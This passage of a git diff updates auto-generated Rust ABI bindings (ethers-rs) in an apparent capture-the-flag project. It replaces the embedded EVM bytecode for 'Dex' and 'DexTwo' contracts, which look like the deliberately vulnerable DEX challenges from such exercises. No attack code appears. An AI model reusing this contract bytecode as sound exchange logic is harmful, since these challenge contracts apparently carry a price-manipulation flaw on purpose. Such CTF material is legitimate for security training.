\x85\x01a\x08{V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\t\x10W`\0\x80\xFD[a\t\x19\x83a\x08{V[\x91Pa\t'` \x84\x01a\x08{V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\tBW`\0\x80\xFD[a\x07\xC8\x82a\x08{V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\t\x81W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\t\x91W`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\xAAW`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x07\xCBWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\xF3WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \xDD!\x0B8\xA3\x89\x94\xEB\x93\xB8I\x86\x8B\xDD\xBEo<\xD6\x19\xB3\xD1\xCF\xAE\xED\xC3\x96\xCA\xD6\x92\xDF\x8D\xB5dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static DEX_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/dex_two.rs b/ctf/src/abi/dex_two.rs index ca3cd12..14a7af9 100644 --- a/ctf/src/abi/dex_two.rs +++ b/ctf/src/abi/dex_two.rs @@ -348,12 +348,12 @@ pub mod dex_two { pub static DEXTWO_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\0\x1A3a\0\x1FV[a\0oV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[a\t\x97\x80a\0~`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0qW\x80c\x8D\xA5\xCB[\x14a\x01/W\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80c&N\x88\x93\x14a\0\xF3W\x80cc[\xC0\xC2\x14a\x01\x06W\x80cqP\x18\xA6\x14a\x01'W[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\0V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\0V[a\x02oV[a\x01\x19a\x01\x146`\x04a\x08*V[a\x02\xEFV[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x03\xDEV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\0\xC1a\x01N6`\x04a\x08fV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08*V[a\x04(V[a\0\xC1a\x01\x876`\x04a\x08\x99V[a\x06JV[a\x01\x19a\x01\x9A6`\x04a\x08fV[a\x06\xC3V[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07:V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\x08\xD8V[PPPV[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x036W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03Z\x91\x90a\t\x01V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\x9EW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xC2\x91\x90a\t\x01V[a\x03\xCC\x90\x84a\t\x1AV[a\x03\xD6\x91\x90a\t?V[\x94\x93PPPPV[a\x03\xE6a\x07:V[a\x03\xF0`\0a\x07\x94V[V[a\x03\xFAa\x07:V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x92\x91\x90a\t\x01V[\x10\x15a\x04\xDAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0a\x04\xE7\x84\x84\x84a\x02\xEFV[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\x1A\x903\x900\x90\x87\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x059W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05]\x91\x90a\x08\xD8V[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xCF\x91\x90a\x08\xD8V[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\0\x900\x903\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\x1FW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06C\x91\x90a\x08\xD8V[PPPPPV[a\x06Ra\x07:V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x06\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xD1V[a\x06\xC0\x81a\x07\x94V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\rW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x071\x91\x90a\t\x01V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xF0W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xFBW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\x13W`\0\x80\xFD[a\x08\x1C\x83a\x07\xE4V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08?W`\0\x80\xFD[a\x08H\x84a\x07\xE4V[\x92Pa\x08V` \x85\x01a\x07\xE4V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x08yW`\0\x80\xFD[a\x08\x82\x83a\x07\xE4V[\x91Pa\x08\x90` \x84\x01a\x07\xE4V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x08\xABW`\0\x80\xFD[a\x071\x82a\x07\xE4V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x08\xEAW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x08\xFAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\x13W`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x074WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\\WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x97i\x06\xDC\xD0\xD7\x86O\x8AHE'\x8A\x1D \xAA%_k(\xF4\xD0\x8E\xF63t\xBDR\xDD\xCDO\xBEdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\0\x1A3a\0\x1FV[a\0oV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[a\t\x97\x80a\0~`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0qW\x80c\x8D\xA5\xCB[\x14a\x01/W\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80c&N\x88\x93\x14a\0\xF3W\x80cc[\xC0\xC2\x14a\x01\x06W\x80cqP\x18\xA6\x14a\x01'W[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\0V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\0V[a\x02oV[a\x01\x19a\x01\x146`\x04a\x08*V[a\x02\xEFV[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x03\xDEV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\0\xC1a\x01N6`\x04a\x08fV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08*V[a\x04(V[a\0\xC1a\x01\x876`\x04a\x08\x99V[a\x06JV[a\x01\x19a\x01\x9A6`\x04a\x08fV[a\x06\xC3V[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07:V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\x08\xD8V[PPPV[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x036W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03Z\x91\x90a\t\x01V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\x9EW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xC2\x91\x90a\t\x01V[a\x03\xCC\x90\x84a\t\x1AV[a\x03\xD6\x91\x90a\t?V[\x94\x93PPPPV[a\x03\xE6a\x07:V[a\x03\xF0`\0a\x07\x94V[V[a\x03\xFAa\x07:V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x92\x91\x90a\t\x01V[\x10\x15a\x04\xDAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0a\x04\xE7\x84\x84\x84a\x02\xEFV[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\x1A\x903\x900\x90\x87\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x059W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05]\x91\x90a\x08\xD8V[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xCF\x91\x90a\x08\xD8V[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\0\x900\x903\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\x1FW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06C\x91\x90a\x08\xD8V[PPPPPV[a\x06Ra\x07:V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x06\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xD1V[a\x06\xC0\x81a\x07\x94V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\rW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x071\x91\x90a\t\x01V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xF0W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xFBW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\x13W`\0\x80\xFD[a\x08\x1C\x83a\x07\xE4V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08?W`\0\x80\xFD[a\x08H\x84a\x07\xE4V[\x92Pa\x08V` \x85\x01a\x07\xE4V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x08yW`\0\x80\xFD[a\x08\x82\x83a\x07\xE4V[\x91Pa\x08\x90` \x84\x01a\x07\xE4V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x08\xABW`\0\x80\xFD[a\x071\x82a\x07\xE4V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x08\xEAW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x08\xFAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\x13W`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x074WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\\WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x8C\xA4bV\xC4\xA9\x9F\xCB\xB1D\xB6y\xFAQ\xAE Y\x83\xA0\xA1\xA8|@0\xEBa\xE6\x16\x98\x10p\xA0dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static DEXTWO_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0qW\x80c\x8D\xA5\xCB[\x14a\x01/W\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80c&N\x88\x93\x14a\0\xF3W\x80cc[\xC0\xC2\x14a\x01\x06W\x80cqP\x18\xA6\x14a\x01'W[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\0V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\0V[a\x02oV[a\x01\x19a\x01\x146`\x04a\x08*V[a\x02\xEFV[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x03\xDEV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\0\xC1a\x01N6`\x04a\x08fV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08*V[a\x04(V[a\0\xC1a\x01\x876`\x04a\x08\x99V[a\x06JV[a\x01\x19a\x01\x9A6`\x04a\x08fV[a\x06\xC3V[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07:V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\x08\xD8V[PPPV[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x036W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03Z\x91\x90a\t\x01V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\x9EW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xC2\x91\x90a\t\x01V[a\x03\xCC\x90\x84a\t\x1AV[a\x03\xD6\x91\x90a\t?V[\x94\x93PPPPV[a\x03\xE6a\x07:V[a\x03\xF0`\0a\x07\x94V[V[a\x03\xFAa\x07:V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x92\x91\x90a\t\x01V[\x10\x15a\x04\xDAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0a\x04\xE7\x84\x84\x84a\x02\xEFV[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\x1A\x903\x900\x90\x87\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x059W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05]\x91\x90a\x08\xD8V[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` 